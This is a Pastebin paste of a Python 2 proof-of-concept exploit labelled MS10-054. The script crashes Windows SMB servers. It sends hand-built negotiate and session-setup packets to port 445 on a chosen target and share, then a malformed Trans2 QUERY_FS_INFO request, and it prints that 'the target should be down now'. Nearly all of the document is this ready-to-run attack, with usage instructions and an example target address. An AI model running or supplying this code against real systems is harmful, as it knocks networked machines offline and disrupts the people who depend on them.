Advertisement
Guest User

Untitled

a guest
Jun 21st, 2018
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import sys,struct,socket
  3. from socket import *
  4.  
  5. if len(sys.argv)<=2:
  6. print '#######################################################################'
  7. print '# MS10-054 Proof Of Concept by Laurent Gaffie'
  8. print '# Usage: python '+sys.argv[0]+' TARGET SHARE-NAME (No backslash)'
  9. print '# Example: python '+sys.argv[0]+' 192.168.8.101 users'
  10. print '# http://g-laurent.blogspot.com/'
  11. print '# http://twitter.com/laurentgaffie'
  12. print '# Email: laurent.gaffie{at}gmail{dot}com'
  13. print '#######################################################################\n\n'
  14. sys.exit()
  15.  
  16. host = str(sys.argv[1]),445
  17.  
  18. packetnego = "\x00\x00\x00\x9a"
  19. packetnego += "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  20. packetnego += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x15\x00\x00\x01\x3d"
  21. packetnego += "\x00\x77\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50"
  22. packetnego += "\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4d\x49\x43\x52"
  23. packetnego += "\x4f\x53\x4f\x46\x54\x20\x4e\x45\x54\x57\x4f\x52\x4b\x53\x20\x33"
  24. packetnego += "\x2e\x30\x00\x02\x44\x4f\x53\x20\x4c\x4d\x31\x2e\x32\x58\x30\x30"
  25. packetnego += "\x32\x00\x02\x44\x4f\x53\x20\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31"
  26. packetnego += "\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f"
  27. packetnego += "\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4e"
  28. packetnego += "\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"
  29.  
  30. def tidpiduidfield(data):
  31. all_=data[28:34]
  32. return all_
  33.  
  34. def handle(data):
  35. ##Chained SMB commands; Session Setup AndX Request,Tree connect
  36. if data[8:10] == "\x72\x00":
  37. sharename = "\x00\x00\x5c\x5c\x5c"+str(sys.argv[2])+"\x00\x3f\x3f\x3f\x3f\x3f\x00"
  38. packetsession = "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
  39. packetsession += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd5\x15\x01\x00\x81\x2f"
  40. packetsession += "\x0d\x75\x00\x7a\x00\x68\x0b\x32\x00\x00\x00\x00\x00\x00\x00\x18"
  41. packetsession += "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x3d\x00\x01\x01\x01"
  42. packetsession += "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
  43. packetsession += "\x01\x01\x01\x01\x01\x59\x4f\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55"
  44. packetsession += "\x50\x00\x57\x69\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x57\x69"
  45. packetsession += "\x6e\x64\x6f\x77\x73\x20\x34\x2e\x30\x00\x04\xff\x00\x00\x00\x00"
  46. packetsession += "\x00\x01\x00"+struct.pack(">i", len(sharename))[3:4]+sharename
  47. print "[+]Session Query sent"
  48. return struct.pack(">i", len(packetsession))+packetsession
  49.  
  50. ##Trans2, Request, QUERY_FS_INFO Query FS Attribute Info
  51. if data[8:10] == "\x73\x00":
  52. packetrans = "\x00\x00\x00\x46"
  53. packetrans += "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x01\xc8\x00\x00\x00\x00"
  54. packetrans += "\x00\x00\x00\x00\x00\x00\x00\x00"+tidpiduidfield(data)+"\x13\x00"
  55. packetrans += "\x0f\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  56. packetrans += "\x00\x00\x00\x02\x00\x44\x00\x00\x00\x46\x00\x01\x00\x03\x00\x05"
  57. packetrans += "\x00\x00\x44\x20\x05\x01"
  58. print "[+]Malformed Trans2 packet sent\n[+]The target should be down now"
  59. return packetrans
  60.  
  61. def run():
  62. s = socket(AF_INET, SOCK_STREAM)
  63. s.connect(host)
  64. s.settimeout(2)
  65. s.send(packetnego)
  66. print "[+]Negotiate Protocol Request sent"
  67. try:
  68. while True:
  69. data = s.recv(1024)
  70. s.send(handle(data))
  71. except Exception:
  72. pass
  73. s.close()
  74. run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement